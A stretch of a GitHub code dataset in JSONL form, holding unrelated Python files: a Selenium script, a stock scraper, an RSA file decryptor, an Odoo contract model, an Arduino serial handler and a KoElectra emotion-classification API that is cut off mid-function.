HttpResponse(status=201)\n","repo_name":"PvJScorebot/Scorebot-Core","sub_path":"scorebot_api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":51644,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"62"} +{"seq_id":"72886443716","text":"# -*- coding:utf-8 -*-\r\nfrom selenium import webdriver\r\nimport time\r\npath = 'C:\\\\Users\\\\Charan\\\\Downloads\\\\geckodriver-v0.20.1-win64\\\\geckodriver.exe'\r\ndriver = webdriver.Firefox(executable_path=path)\r\ndriver.get('https://www.youtube.com/')\r\ndriver.find_element_by_name('search_query').clear()\r\ndriver.find_element_by_name('search_query').send_keys('coery schafer')\r\ndriver.find_element_by_xpath('//*[@id=\"search-icon-legacy\"]/yt-icon').click()\r\ntime.sleep(20)\r\npagesource = driver.page_source\r\ndriver.close()\r\nprint(pagesource)\r\n","repo_name":"charanpython/TestProject","sub_path":"first_proj/api-new/test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"34700237742","text":"import numpy as np\r\nimport SolverEuler\r\nimport matplotlib.pyplot as plt\r\n\r\nclass RoomClass():\r\n def __init__(self):\r\n self.startTime=0 #[s]\r\n self.Area=60 #[m^2]\r\n self.Hight=3 #[m]\r\n self.peopleCount=25 #[]\r\n self.airExchangeRate=0.6 #[1/h]\r\n","repo_name":"VPTUBS/Py-Project","sub_path":"Room.py","file_name":"Room.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"3181663593","text":"import collections\nclass Solution(object):\n def permute(self, nums:list):\n # tip for me : 중복이 없어야 한다, 이를 위해 \"checked 여부 확인할 친구\"를 만들어 두고 사용한다.\n # 인프런 강의에선 array 로 사용했고, 중복 확인할 숫자가 0-n 이렇게 순차저으로 주어져 있었어서 index 를 그 key 처럼 쓸 수 있었던 듯한데,\n # nums 가 0 또는 1부터 순차적으로 주어지지 않으면 어떻게 해야 하나 고민하다가\n # 나는 일단 딕셔너리로 해보면 어떨까 했다.\n\n res = [0] * len(nums)\n\n checked_dict = collections.defaultdict(int)\n for num in nums:\n checked_dict[num] = 0\n\n print(\"checked_dict: \", checked_dict)\n\n result_list = []\n\n def DFS(L):\n if L == len(nums):\n result = res[:]\n result_list.append(result)\n return\n else:\n for num in nums:\n if checked_dict[num] == 0: # 전 칸들에서 num 를 사용하지 않은 경우에만 num 쓸 수 있도록. (중복 방지)\n checked_dict[num] = 1 # 이제 사용할 거니까 체크인.\n res[L] = num # 현재 레벨(인덱스(?))에 이 num 을 기입해주고\n DFS(L+1) # 한 레벨 더 들어가서 작동하도록 해준다. 지금 막 L 레벨에서 checked 한 것은 L + 1 이상의 깊이에서 쓸모 있음.\n checked_dict[num] = 0 # 밖으로 나올 때는 다시 checked 여부를 돌려놓아야 한다!\n\n DFS(0)\n return result_list\n\n\nnums1 = [1,2,3]\npermute(nums1)","repo_name":"jeong-hyeon-kim/algorithm","sub_path":"prac0121/permutation.py","file_name":"permutation.py","file_ext":"py","file_size_in_byte":1711,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"11938073583","text":"import numpy as np\nimport cv2\nfrom math import *\nfrom time import time\n\ndef disparity_ssd(img_source, img_target, windows_size, max_d, lefttoright):\n run_start = time()\n img_source = np.matrix(img_source, dtype = \"uint32\")\n img_target = np.matrix(img_target, dtype = \"uint32\")\n\n rows, cols = img_source.shape\n\n D = np.zeros([rows, cols], dtype=\"uint8\")\n\n for r in range(int(floor(windows_size / 2.0)), int(rows - floor(windows_size / 2.0))):\n\n for c in range(int(floor(windows_size / 2.0)), int(cols - floor(windows_size / 2.0))):\n\n min_r = int(r-floor(windows_size/2.0))\n max_r = int(r+ceil(windows_size/2.0))\n min_c = int(c-floor(windows_size/2.0))\n max_c = int(c+ceil(windows_size/2.0))\n\n source_windows = img_source[min_r:max_r, min_c:max_c]\n square_diff = []\n index_target = []\n\n if (lefttoright == 1):\n direction = 1\n max_displacement = int(cols - ceil(windows_size/2.0) - c)\n else:\n direction = -1\n max_displacement = int(c - floor(windows_size/2.0))\n\n\n for d in range(int(np.clip(max_d, 0, max_displacement+1))):\n target_windows = img_target[min_r:max_r, (min_c + direction * d):(max_c + direction * d)]\n square_diff.append(np.sum(np.power(source_windows - target_windows, 2)))\n index_target.append(c + direction * d)\n\n index_square_diff_min = index_target[square_diff.index(min(square_diff))]\n\n D[r, c] = direction * index_square_diff_min - direction * c\n run_end = time()\n print(\"The image run takes {:.3f} mins\".format((run_end - run_start) / 60))\n return D\n\n\ndef disparity_correlation(img_source, img_target, windows_size, lefttoright):\n\n run_start = time()\n img_source = np.matrix(img_source, dtype = \"uint32\")\n img_target = np.matrix(img_target, dtype = \"uint32\")\n\n rows, cols = img_source.shape\n\n D = np.zeros([rows, cols], dtype=\"uint8\")\n\n for r in range(int(floor(windows_size / 2.0)), int(rows - floor(windows_size / 2.0))):\n\n for c in range(int(floor(windows_size / 2.0)), int(cols - floor(windows_size / 2.0))):\n\n min_r = int(r-floor(windows_size/2.0))\n max_r = int(r+ceil(windows_size/2.0))\n min_c = int(c-floor(windows_size/2.0))\n max_c = int(c+ceil(windows_size/2.0))\n\n source_windows = img_source[min_r:max_r, min_c:max_c]\n\n if lefttoright:\n direction = 1\n target_windows = img_target[min_r:max_r,:]\n else:\n direction = -1\n target_windows = img_target[min_r:max_r,:]\n\n source_windows = np.asarray(source_windows,dtype =\"float32\")\n target_windows = np.asarray(target_windows,dtype = \"float32\")\n\n matching = cv2.matchTemplate(target_windows, source_windows, cv2.TM_CCOEFF_NORMED)\n max_index = cv2.minMaxLoc(matching)[3]\n\n D[r, c] = direction * max_index[0] - direction * c\n run_end = time()\n print(\"The image run takes {:.3f} mins\".format((run_end - run_start) / 60))\n return D\n","repo_name":"melisandezonta/Computer_Vision","sub_path":"PS2-all/PS2-code/Functions.py","file_name":"Functions.py","file_ext":"py","file_size_in_byte":3197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73167579","text":"import logging\n\nfrom odoo import api, fields, models\n\n\n_logger = logging.getLogger(__name__)\n\n\nclass ClouderContract(models.Model):\n \"\"\" It provides formulas specific to billing Clouder contracts. \"\"\"\n\n _name = 'clouder.contract'\n _description = 'Clouder Contracts'\n _inherits = {'account.analytic.account': 'ref_contract_id'}\n\n ref_contract_id = fields.Many2one(\n string='Related Contract',\n comodel_name='account.analytic.account',\n index=True,\n require=True,\n ondelete='cascade',\n )\n\n _sql_constraints = [\n ('ref_contract_id_unique', 'UNIQUE(ref_contract_id)',\n 'Cannot assign two ClouderContracts to the same Analytic Account.'),\n ]\n\n @property\n @api.model\n def invoice_policy_map(self):\n \"\"\" It returns a mapping of invoice policies to processing methods.\n\n Returns:\n dict: Mapping keyed by invoice policy type, pointing to the\n method that should determine the quantity to use for\n invoicing.\n The method will receive the recurring contract line and the\n invoice as arguments.\n See one of the methods that are already mapped for examples.\n \"\"\"\n return {\n 'threshold': self._get_quantity_threshold,\n 'usage': self._get_quantity_usage,\n 'cost': self._get_quantity_usage,\n 'order': self._get_quantity_flat,\n 'delivery': self._get_quantity_usage,\n }\n\n @api.model\n def get_invoice_line_quantity(self, account, account_line, invoice):\n \"\"\" It returns the Qty to be used for contract billing formula.\n\n This method should be called from ``contract.line.qty.formula`` by\n adding the following into the ``code`` field:\n\n .. code-block:: python\n\n result = env['clouder.contract'].get_invoice_line_quantity(\n contract, line, invoice,\n )\n\n Args:\n account (AccountAnalyticAccount): Contract that recurring\n invoice line belongs to. This is called\n account_line (AccountAnalyticInvoiceLine): Recurring invoice\n line being referenced.\n invoice (AccountInvoice): Invoice that is being created.\n Returns:\n int: Quantity to use on invoice line in the UOM defined on the\n ``contract_line``.\n \"\"\"\n invoice_policy = account_line.product_id.invoice_policy\n invoice_policy_map = self.invoice_policy_map\n try:\n method = invoice_policy_map[invoice_policy]\n except KeyError:\n _logger.info(\n 'No calculation method found for invoice policy \"%s\". '\n 'Defaulting to Flat Rate instead.', invoice_policy\n )\n method = invoice_policy_map['order']\n return method(account_line, invoice)\n\n @api.model\n def _create_default_vals(self, account):\n \"\"\" It returns default values to create and link new ClouderContracts.\n\n Args:\n account (AccountAnalyticAccount): Account that ClouderContract\n will reference.\n Returns:\n dict: Values fed to ``create`` in ``_get_contract_by_account``.\n \"\"\"\n number = self.env['ir.sequence'].next_by_code('clouder.contract')\n # Default to the current users company if not set\n company_id = (account.company_id and account.company_id.id or\n self.env.user.company_id.id)\n return {\n 'name': number,\n 'company_id': company_id,\n 'ref_contract_id': account.id,\n }\n\n @api.model\n def _get_contract_by_account(self, account, create=False):\n \"\"\" It returns the ClouderContract or possibly creates a new one.\n\n Args:\n account: (AccountAnalyticAccount) Contract to search by.\n create: (bool) True will create a new ClouderContract if one does\n not already exist.\n Returns:\n clouder.contract: Clouder contract associated with ``account``.\n \"\"\"\n contract = self.search([('ref_contract_id', '=', account.id)])\n if create and not contract:\n contract = self.create(self._create_default_vals(account))\n return contract\n\n @api.multi\n def _get_quantity_flat(self, account_line, invoice):\n \"\"\" It returns the base quantity with no calculations\n Args:\n account_line (AccountAnalyticInvoiceLine): Recurring invoice\n line being referenced.\n invoice (AccountInvoice): Invoice that is being created.\n Returns:\n float: Quantity with no calculations performed\n \"\"\"\n return account_line.quantity\n\n @api.multi\n def _get_quantity_threshold(self, account_line, invoice):\n \"\"\" It functions like flat rate for the most part\n\n Args:\n account_line (AccountAnalyticInvoiceLine): Recurring invoice\n line being referenced.\n invoice (AccountInvoice): Invoice that is being created.\n Returns:\n float: Quantity to use on invoice line in the UOM defined on the\n ``contract_line``.\n \"\"\"\n return account_line.quantity\n\n @api.multi\n def _get_quantity_usage(self, account_line, invoice):\n \"\"\" It provides a quantity based on unbilled and used metrics\n Args:\n account_line (AccountAnalyticInvoiceLine): Recurring invoice\n line being referenced.\n invoice (AccountInvoice): Invoice that is being created.\n Returns:\n float: Quantity to use on invoice line in the UOM defined on the\n ``contract_line``.\n \"\"\"\n vals = account_line.metric_interface_id.metric_value_ids\n inv_date = fields.Datetime.from_string(invoice.date_invoice)\n inv_delta = self.ref_contract_id.get_relative_delta(\n self.recurring_rule_type, self.recurring_interval\n )\n start_date = inv_date - inv_delta\n\n # Filter out metrics that fall within the billing period\n def filter(rec):\n if not all((rec.date_start, rec.date_end)):\n return False\n start = fields.Datetime.from_string(rec.date_start)\n end = fields.Datetime.from_string(rec.date_end)\n return start >= start_date and end <= inv_date\n\n return sum(vals.filtered(filter).mapped('value')) or 0.0\n","repo_name":"YannickB/odoo-hosting","sub_path":"sale_clouder/models/clouder_contract.py","file_name":"clouder_contract.py","file_ext":"py","file_size_in_byte":6503,"program_lang":"python","lang":"en","doc_type":"code","stars":64,"dataset":"github-code","pt":"81"} +{"seq_id":"75003418186","text":"#!/usr/bin/python3\n\n# python3 ohlc_2.py [ticker]\n# return outf0\n\nimport sys, requests, time\nimport urllib.request\nfrom datetime import timedelta,datetime\nfrom bs4 import BeautifulSoup\n\nticker = sys.argv[1]\noutf0 = sys.argv[2]\nindex = int(sys.argv[3])\n\nrow0 = \"\"\nrow1 = \"\"\n# https://www.twse.com.tw/exchangeReport/STOCK_DAY?response=html&date=20220812&stockNo=1101\nurl = 'https://www.twse.com.tw/exchangeReport/STOCK_DAY?' + \\\n 'response=html&date=' + datetime.today().strftime(\"%Y%m%d\") + \\\n '&stockNo=' + ticker\nresponse = requests.get(url)\nsoup = BeautifulSoup(response.text, 'html.parser')\ntable_body = soup.find('tbody')\nif ( table_body is not None ):\n for tr in soup.findAll('tr')[2:]:\n tds = tr.findAll('td')\n row0 = row0 + tds[0].text + \":\"\n row1 = row1 + str(float(tds[6].text.replace(',', ''))) + \":\"\n row0 = \"ticker/date:\"+row0[:-1]+\"\\n\"\n row1 = ticker+\":\"+row1[:-1]+\"\\n\"\n with open(outf0, 'a') as outfile:\n if ( index <= 1 ):\n outfile.write(row0)\n outfile.write(row1)\n outfile.close()\nelse:\n print(\"no data for \" + ticker)\n\nsys.exit(0)\n","repo_name":"bryankuo/lab","sub_path":"python/ohlc_2.py","file_name":"ohlc_2.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"3430986893","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nfrom Crypto.PublicKey import RSA\nfrom Crypto.Cipher import PKCS1_OAEP\nimport zlib, base64\n\ndef funcionParaDesencriptar(elemento, clavePrivada):\n # PKCS_OAEP es un cifrado asimétrico basado en RSA y padding OAEP.\n claveRSA = RSA.importKey(clavePrivada)\n claveRSA = PKCS1_OAEP.new(claveRSA)\n\n # base64 decodifica el archivo\n elemento = base64.b64decode(elemento)\n\n # El tamaño del fragmento es la longitud de la clave privada utilizada en bytes\n # Los datos se descifrarán por porciones.\n fragmento = 512\n offset = 0\n descifrado = bytearray()\n\n # El loop se ejecuta hasta que haya procesado toda la longitud del elemento\n while offset < len(elemento):\n\n porcion = elemento[offset: offset + fragmento]\n\n # Agregue la porcion descifrada al archivo descifrado general\n descifrado += claveRSA.decrypt(porcion)\n\n # Añadir al offset un fragmento para obtener longitud de elemento\n offset += fragmento\n\n # zlib descomprime los datows descifrados para terminar\n return zlib.decompress(descifrado)\n\n# Traer clave privada para desencriptar\ndescriptor = open(\"ejemplo/clavePrivada.pem\", \"rb\")\nclavePrivada = descriptor.read()\ndescriptor.close()\n\n# Archivo que se quiere desencriptar\ndescriptor = open(\"ejemplo/elementoEncriptado.jpg\", \"rb\")\nelementoEncriptado = descriptor.read()\ndescriptor.close()\n\n# Escribir el archivo desencriptado\ndescriptor = open(\"ejemplo/elementoDesencriptado.jpg\", \"wb\")\ndescriptor.write(funcionParaDesencriptar(elementoEncriptado, clavePrivada))\ndescriptor.close()\n","repo_name":"carlosmaccarrone/Python","sub_path":"garfios/criptografia-RSA/desencriptar.py","file_name":"desencriptar.py","file_ext":"py","file_size_in_byte":1602,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"17308605428","text":"from setuptools import setup, find_packages\ntry:\n from openproximity import __version__\nexcept:\n import sys\n sys.path.append('src')\n from openproximity import __version__\n sys.path.remove('src')\n\n\nPACKAGES=find_packages('src')+['locale']\nREQUIRES=[\n 'simplejson',\n 'lxml',\n #'dbus-python',\n 'django>=1.3,<1.4',\n 'openproximity-external-media',\n 'wadofstuff-django-serializers-op',\n 'PyOFC2-op',\n 'rpyc-op',\n 'aircable-library-op',\n 'django-notification-op',\n 'django-cpserver-op',\n 'openproximity-plugin-test',\n 'rpyc-op',\n 'django-configglue',\n 'south',\n 'django-rosetta',\n 'django-mailer',\n 'django-extensions',\n 'django-restapi-op',\n 'poster',\n 'django-timezones-op',\n 'pytz'\n]\n\nsetup(name = \"OpenProximity\",\n version = __version__,\n author = \"Naranjo Manuel Francisco\",\n author_email = \"manuel@aircable.net\",\n description = (\"OpenProximity an OpenSource proximity marketing solution\"),\n license = \"Apache V2\",\n packages = PACKAGES,\n package_dir = { '': 'src'},\n keywords = \"openproximity bluetooth obex proximity marketing\",\n url = \"https://github.com/OpenProximity/web\",\n include_package_data = True,\n install_requires = REQUIRES,\n zip_safe = True,\n entry_points = {\n 'console_scripts': [\n 'OpenProximity-manage = openproximity.lib.manage:main',\n ],\n },\n)\n\n# package_data={\n# \"openproximity\": [\n# \"src/*.cfg\",\n# \"src/locale/*\",\n# \"src/microblog/templates/*\",\n# \"src/openproximity/templtates/*\",\n# \"src/openproximity/static/*\"\n# ]\n# },\n","repo_name":"OpenProximity/OpenProximity","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"81"} +{"seq_id":"41325514630","text":"# Predict next frame by previous frame\nKMP_DUPLICATE_LIB_OK = True\nimport sys\nimport os\nimport zipfile\n\nsys.path.append('../Lib_MainNN_Hand')\nimport numpy as np\nimport tensorflow as tf\nfrom Main_EncoderRes3Bin import MainNN\n\n\nload_path = '../Data/Cylinder/train'\ntest_path = '../Data/Cylinder/test'\nsave_path = '../Data/ManipNetBIN'\n\n# unzip\nif((not os.path.isdir('../Data/Cylinder')) and os.path.exists('../Data/Cylinder.zip')):\n print(\"unzip files\")\n with zipfile.ZipFile(\"../Data/Cylinder.zip\",\"r\") as zip_ref:\n zip_ref.extractall(\"../Data\")\n\n# Main NN\nname_model = \"ManipNet\"\ntype_normalization = 0\nhiddenDim = 0\nactivations = tf.nn.relu\n\n# # Encoder NN\nstart_traj = 192\nstart_dis = 528\nstart_end = 2350\n\nindex_encoder0 = np.arange(0, start_traj)\ndim_encoder0 = [512]\nactivation_encoder0 = [0]\n\nindex_encoder1 = np.arange(start_traj, start_dis)\ndim_encoder1 = [512]\nactivation_encoder1 = [0]\n\nindex_encoder2 = np.arange(start_dis, start_end)\ndim_encoder2 = [512]\nactivation_encoder2 = [0]\n\n\nindex_encoders = [index_encoder0, index_encoder1, index_encoder2]\ndim_encoders = [dim_encoder0, dim_encoder1, dim_encoder2]\nactivation_encoders = [activation_encoder0, activation_encoder1, activation_encoder2]\n\n# Keep prob\nkeep_prob_main = 0.7\nkeep_prob_encoders = [0.7, 0.7, 0.7]\n\n\n\n# Tuning para\nlearning_rate = 0.0001\n\ndef main():\n GPU_Occupancy = 0.9\n gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=GPU_Occupancy)\n sess = tf.Session(config=tf.ConfigProto(gpu_options=gpu_options))\n\n mann = MainNN()\n mann.BuildModel(load_path, save_path,\n type_normalization,\n hiddenDim=hiddenDim,\n activations=activations,\n\n index_encoders=index_encoders,\n dim_encoders=dim_encoders,\n activation_encoders=activation_encoders)\n mann.Train(sess,\n # Model name for Saving\n name_model,\n # Flag/Path of test data\n path_test=test_path,\n flag_save_bin = True,\n step_save=100, max_save=3,\n # HyperParameters\n keep_prob_main=keep_prob_main, batch_size=32, epoch=500, learning_rate_ini=learning_rate,\n keep_prob_encoders=keep_prob_encoders\n )\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"cghezhang/ManipNet","sub_path":"Code/Tensorflow/Train/main_ManipNet.py","file_name":"main_ManipNet.py","file_ext":"py","file_size_in_byte":2354,"program_lang":"python","lang":"en","doc_type":"code","stars":221,"dataset":"github-code","pt":"81"} +{"seq_id":"13371384241","text":"from datetime import date\nfrom datetime import timedelta\n\n\nclass Cake:\n \"\"\"\n Cake class for bakery solutions\n \"\"\"\n bakery_offer = []\n\n def __init__(self, name, kind, taste, additives, filling):\n \"\"\"\n name - cake's name,\n kind - kind of sweetness,\n taste - type of taste,\n additives - list with additives,\n filling - type of filling\n \"\"\"\n\n self.name = name\n self.kind = kind\n self.taste = taste\n self.additives = additives.copy()\n self.filling = filling\n self.bakery_offer.append(self)\n\n def show_info(self):\n print(\"{}\".format(self.name.upper()))\n print(\"Kind: {}\".format(self.kind))\n print(\"Taste: {}\".format(self.taste))\n if len(self.additives) > 0:\n print(\"Additives:\")\n for a in self.additives:\n print(\"\\t\\t{}\".format(a))\n if len(self.filling) > 0:\n print(\"Filling: {}\".format(self.filling))\n print('-' * 20)\n\n @property\n def full_name(self):\n return \"--== {} - {} ==--\".format(self.name.upper(), self.kind)\n\n\nclass Promo():\n \"\"\"\n name - name of promotion,\n discount - value of discount in current promotion,\n start_date - date when promotion is starting,\n end_date - date when promotion is ending,\n minimal_order - minimal number of cars required to get promotion\n \"\"\"\n def __init__(self, name, discount, start_date, end_date, minimal_order):\n self.name = name\n self.discount = discount\n self.start_date = start_date\n self.end_date = end_date\n self.minimal_order = minimal_order\n\n @property\n def full_name(self):\n \"\"\"\n This is property which print name of promotion and value of discount in one line\n :return:\n \"\"\"\n return \"PROMO {0:s} {1:.0%}\".format(self.name, self.discount)\n\n\nclass PromoCake(Cake, Promo):\n \"\"\"\n cake - object from Cake class,\n promo - object from Promo class,\n \"\"\"\n def __init__(self, cake, promo):\n Cake.__init__(self, cake.name, cake.kind, cake.taste, cake.additives, cake.filling)\n Promo.__init__(self, promo.name, promo.discount, promo.start_date, promo.end_date, promo.minimal_order)\n self.cake = cake\n self.promo = promo\n\n\ncake = Cake('Vanilla Cake','cake', 'vanilla', ['chocolade', 'nuts'], 'cream')\ncake.show_info()\n\npromo10 = Promo(\"DISCOUNT - no additional conditions\", 0.15, date.today(), date.today() + timedelta(days=14), 0)\nprint(promo10.full_name)\n\npromo_cake = PromoCake(cake, promo10)\n\npromo_cake.show_info()\nprint(promo_cake.full_name)\nprint(PromoCake.__mro__)\n\n# help(Promo)\nhelp(Cake)\n# help(PromoCake)\nhelp(Promo.full_name)","repo_name":"mateusz-miernik/python_intermmediate_course","sub_path":"multiinheritance.py","file_name":"multiinheritance.py","file_ext":"py","file_size_in_byte":2798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"41940031674","text":"from django.urls import path\nfrom . import views\n\napp_name = 'recipe'\n\nurlpatterns = [\n path('', views.explore_recipe, name='recipe'),\n path('recommendations/', views.explore_other_recipe, name='recommended_ideas'),\n path('nutrition', views.explore_nutrition, name='nutrition'),\n\n]\n","repo_name":"bolajixi/exploreRecipe","sub_path":"recipe/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"32699074586","text":"# Nynke Niehof, 2018\n\nimport time\nfrom queue import Empty\nfrom Experiment.loggingConfig import Worker, formatter, default_logging_level\nfrom Experiment.arduino import ArduinoConnect\n\n\nclass ArduinoHandler:\n\n def __init__(self, in_queue, return_queue, logging_queue,\n device_name=\"Arduino\", baudrate=9600):\n # I/O queues\n self.in_queue = in_queue\n self.return_queue = return_queue\n self.logging_queue = logging_queue\n\n # timestamp for signal start and end\n self.trigger_time = None\n\n # set up logger\n worker = Worker(logging_queue, formatter, default_logging_level,\n \"ArduinoHandler\")\n self.logger = worker.logger\n # second logger to pass to ArduinoConnect object\n subworker = Worker(logging_queue, formatter, default_logging_level,\n \"ArduinoConnect\")\n self.sublogger = subworker.logger\n\n # connect to Arduino\n self.arduino = ArduinoConnect(device_name=device_name,\n baudrate=baudrate,\n logger=self.sublogger)\n connected = self.arduino.connect()\n if connected:\n self.return_queue.put({\"connected\": True})\n else:\n self.return_queue.put({\"connected\": False})\n\n # start serial readout loop\n self.run()\n\n def run(self):\n get_trigger = True\n\n while True:\n signal_in = None\n timestamp = None\n number_read = None\n try:\n signal_in = self.in_queue.get(block=False)\n if signal_in == \"STOP\":\n self.arduino.quit()\n break\n except Empty:\n # do nothing if there is no input\n pass\n\n if get_trigger:\n # get time of first or last sample\n measurement = self.arduino.read_voltage()\n if measurement:\n number_read = measurement[0]\n timestamp = measurement[1]\n if timestamp is not None and (number_read in [634, 635]):\n self.trigger_time = timestamp\n get_trigger = False\n self.return_queue.put(self.trigger_time)\n elif self.trigger_time and ((time.time() - self.trigger_time) > 0.1):\n # after 0.1 s, start looking for the next trigger sample\n get_trigger = True\n self.trigger_time = None\n","repo_name":"NNiehof/WaveGVS","sub_path":"Experiment/arduinoHandler.py","file_name":"arduinoHandler.py","file_ext":"py","file_size_in_byte":2553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"73708766025","text":"from flask import request, make_response\nfrom flask_restful import Resource\nfrom sources.model import KoElectra_api\nfrom transformers import ElectraTokenizer\nfrom sources.create_dataset import Create_API_Data\nfrom pytorch_transformers import AdamW\nfrom torch.utils.data import DataLoader\nimport torch\nimport json\nimport logging\nfrom sources.utils import init_logger\nimport config\nimport copy\n\ninit_logger()\nlogger = logging.getLogger(__name__)\n\nclass API(Resource): \n def get(self):\n global args\n global model\n global tokenizer\n global device\n\n result_dict = {}\n inputs = request.args.get('sentence', None)\n\n if inputs is None or len(inputs) < 1:\n result_dict = dict(message=\"fail\")\n return json.dumps(result_dict, ensure_ascii=False)\n\n encodings = tokenizer.encode_plus(inputs,\n None,\n add_special_tokens=True, \n max_length=128,\n padding='max_length',\n return_token_type_ids=False,\n return_attention_mask=True, \n truncation=True, \n return_tensors='pt')\n \n\n with torch.no_grad():\n ids = encodings['input_ids'].to(device, dtype=torch.long)\n mask = encodings['attention_mask'].to(device, dtype=torch.long)\n pred,softmax = model(ids)\n \n softmax = softmax.tolist()[0]\n\n emotion_7 ={'중립':0, '싫음':0, '행복':0, '슬픔':0, '두려움':0, '분노':0, '놀람':0,'사랑':0}\n emotion_3 = {'중립':0,'긍정':0,'부정':0}\n emotion_34 = {}\n\n for index, result in enumerate(softmax):\n emotion_34[index] = result\n if index in config.emotion7_0:\n emotion_7['중립'] += result \n elif index in config.emotion7_1:\n emotion_7['싫음'] += result\n elif index in config.emotion7_2:\n emotion_7['행복'] += result\n elif index in config.emotion7_3:\n emotion_7['슬픔'] += result\n elif index in config.emotion7_4:\n emotion_7['두려움'] += result\n elif index in config.emotion7_5:\n emotion_7['분노'] += result\n elif index in config.emotion7_6:\n emotion_7['사랑'] += result\n elif index in config.emotion7_7:\n emotion_7['놀람'] += result\n\n if index in config.pos_emotion:\n emotion_3['긍정'] += result\n elif index in config.neg_emotion:\n emotion_3['부정'] += result\n else:\n emotion_3['중립'] += result\n \n emotion_34 = dict([(config.e_34.get(key), value) for key, value in emotion_34.items()])\n emotion_34 = dict(sorted(emotion_34.items(), key=lambda x : x[1], reverse=True))\n emotion_7 = dict(sorted(emotion_7.items(), key=lambda x : x[1], reverse=True))\n emotion_3 = dict(sorted(emotion_3.items(), key=lambda x : x[1], reverse=True))\n\n \n \n max_values_7 = max(emotion_7.values())\n max_key_7 = {v:k for k,v in emotion_7.items()}.get(max_values_7)\n max_values_3 = max(emotion_3.values())\n max_key_3 = {v:k for k,v in emotion_3.items()}.get(max_values_3)\n max_values_34 = max(emotion_34.values())\n max_key_34 = {v:k for k,v in emotion_34.items()}.get(max_values_34)\n\n result_dict['sentence'] = inputs\n result_dict['result(emotion_8)'] = max_key_7\n result_dict['result(emotion_34)'] = max_key_34\n result_dict['result(emotion_3)'] = max_key_3\n result_dict['emotion_8'] = emotion_7\n result_dict['emotion_34'] = emotion_34\n result_dict['emotion_3'] = emotion_3\n result_dict['label_info'] = config.label_info\n\n #jsonify(result_dict)\n return make_response(json.dumps(result_dict, ensure_ascii=False))\n\n def post(self):\n global args\n global model\n global tokenizer\n global device\n\n result_dict = {}\n inputs = request.get_json().get('sentences', None)\n result_dict['sentences'] = copy.deepcopy(inputs)\n\n if inputs is None or len(inputs) < 1:\n result_dict = dict(message=\"fail\")\n return json.dumps(result_dict, ensure_ascii=False)\n \n encodings = Create_API_Data(datas=inputs,\n max_len=config.MODEL_CONFIG['max_len'],\n tokenizer=tokenizer)\n encodings = DataLoader(encodings, batch_size=config.MODEL_CONFIG['batch_size'], shuffle=False, num_workers=0)\n \n\n with torch.no_grad():\n emotion_7_total =[]\n emotion_34_total = []\n emotion_3_total =[]\n max_key_7_total =[]\n max_key_3_total =[]\n max_key_34_total =[]\n for batch_idx, data in enumerate(encodings):\n ids = data['input_ids'].to(device, dtype=torch.long)\n mask = data['attention_mask'].to(device, dtype=torch.long)\n pred,softmax = model(ids)\n softmax = softmax.tolist()\n\n for i in softmax:\n emotion_7 ={'중립':0, '싫음':0, '행복':0, '슬픔':0, '두려움':0, '분노':0, '놀람':0, '사랑':0}\n emotion_3 = {'중립':0,'긍정':0,'부정':0}\n emotion_34 = {}\n for index, result in enumerate(i):\n emotion_34[index] = result\n if index in config.emotion7_0:\n emotion_7['중립'] += result \n elif index in config.emotion7_1:\n emotion_7['싫음'] += result\n elif index in config.emotion7_2:\n emotion_7['행복'] += result\n elif index in config.emotion7_3:\n emotion_7['슬픔'] += result\n elif index in config.emotion7_4:\n emotion_7['두려움'] += result\n elif index in config.emotion7_5:\n emotion_7['분노'] += result\n elif index in config.emotion7_6:\n emotion_7['사랑'] += result\n elif index in config.emotion7_7:\n emotion_7['놀람'] += result \n\n if index in config.pos_emotion:\n emotion_3['긍정'] += result\n elif index in config.neg_emotion:\n emotion_3['부정'] += result\n else:\n emotion_3['중립'] += result\n \n emotion_34 = dict([(config.e_34.get(key), value) for key, value in emotion_34.items()])\n emotion_34 = dict(sorted(emotion_34.items(), key=lambda x : x[1], reverse=True))\n emotion_7 = dict(sorted(emotion_7.items(), key=lambda x : x[1], reverse=True))\n emotion_3 = dict(sorted(emotion_3.items(), key=lambda x : x[1], reverse=True))\n\n emotion_7_total.append(emotion_7)\n emotion_34_total.append(emotion_34)\n\n max_values_7 = max(emotion_7.values())\n max_key_7 = {v:k for k,v in emotion_7.items()}.get(max_values_7)\n max_values_3 = max(emotion_3.values())\n max_key_3 = {v:k for k,v in emotion_3.items()}.get(max_values_3)\n max_values_34 = max(emotion_34.values())\n max_key_34 = {v:k for k,v in emotion_34.items()}.get(max_values_34)\n\n max_key_7_total.append(max_key_7)\n max_key_3_total.append(max_key_3)\n max_key_34_total.append(max_key_34)\n\n result_dict['result(emotion_8)'] = max_key_7_total\n result_dict['result(emotion_34)'] = max_key_34_total\n result_dict['result(emotion_3)'] = max_key_3_total\n result_dict['emotion_8'] = emotion_7_total\n result_dict['emotion_34'] = emotion_34_total\n result_dict['emotion_3'] = emotion_3_total\n result_dict['label_info'] = config.label_info\n #jsonify(result_dict)\n\n return make_response(json.dumps(result_dict, ensure_ascii=False))\n\ndef load_model():\n global args\n global model\n global 